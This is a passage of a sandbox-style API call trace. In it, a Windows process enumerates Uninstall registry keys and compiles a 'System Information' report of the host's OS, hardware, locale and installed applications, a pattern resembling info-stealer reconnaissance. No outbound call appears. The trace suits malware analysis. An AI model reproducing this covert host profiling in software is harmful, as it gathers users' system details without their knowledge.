12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.864] lstrlenW (lpString="\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n") returned 54 [0261.864] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n") returned 2324 [0261.864] LocalAlloc (uFlags=0x40, uBytes=0x1394) returned 0x6f5650 [0261.865] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.865] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.866] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.867] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.867] LocalFree (hMem=0x6bec00) returned 0x0 [0261.867] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.867] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x27, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-006E-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.867] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-006E-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.867] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.867] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.868] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Shared MUI (English) 2016", lpcbData=0x24fac4*=0x56) returned 0x0 [0261.868] LocalAlloc (uFlags=0x40, uBytes=0x20ac) returned 0x6f69f0 [0261.868] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.868] StrStrW (lpFirst="Microsoft Office Shared MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.868] wsprintfW (in: param_1=0x6f69f0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n") returned 59 [0261.869] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.869] lstrlenW (lpString="\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n") returned 59 [0261.869] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n") returned 2378 [0261.869] LocalAlloc (uFlags=0x40, uBytes=0x140a) returned 0x6e5058 [0261.869] LocalFree (hMem=0x6f69f0) returned 0x0 [0261.870] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.870] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.870] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.870] LocalFree (hMem=0x6bec00) returned 0x0 [0261.870] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.870] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x28, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0090-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.871] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0090-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.871] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.871] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.871] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft DCF MUI (English) 2016", lpcbData=0x24fac4*=0x42) returned 0x0 [0261.871] LocalAlloc (uFlags=0x40, uBytes=0x2084) returned 0x6f35b0 [0261.871] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.871] StrStrW (lpFirst="Microsoft DCF MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.871] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n") returned 49 [0261.871] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.871] lstrlenW (lpString="\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n") returned 49 [0261.871] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n") returned 2437 [0261.871] LocalAlloc (uFlags=0x40, uBytes=0x146c) returned 0x6f5640 [0261.872] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.873] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.874] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.874] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.874] LocalFree (hMem=0x6bec00) returned 0x0 [0261.874] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.874] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x29, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00A1-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.875] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-00A1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.875] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.875] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.875] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft OneNote MUI (English) 2016", lpcbData=0x24fac4*=0x4a) returned 0x0 [0261.875] LocalAlloc (uFlags=0x40, uBytes=0x2094) returned 0x6f6ab8 [0261.876] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.876] StrStrW (lpFirst="Microsoft OneNote MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.876] wsprintfW (in: param_1=0x6f6ab8, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n") returned 53 [0261.876] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.876] lstrlenW (lpString="\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n") returned 53 [0261.876] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n") returned 2486 [0261.876] LocalAlloc (uFlags=0x40, uBytes=0x14d6) returned 0x6e5058 [0261.877] LocalFree (hMem=0x6f6ab8) returned 0x0 [0261.877] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.879] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.879] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.880] LocalFree (hMem=0x6bec00) returned 0x0 [0261.880] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.880] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2a, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, 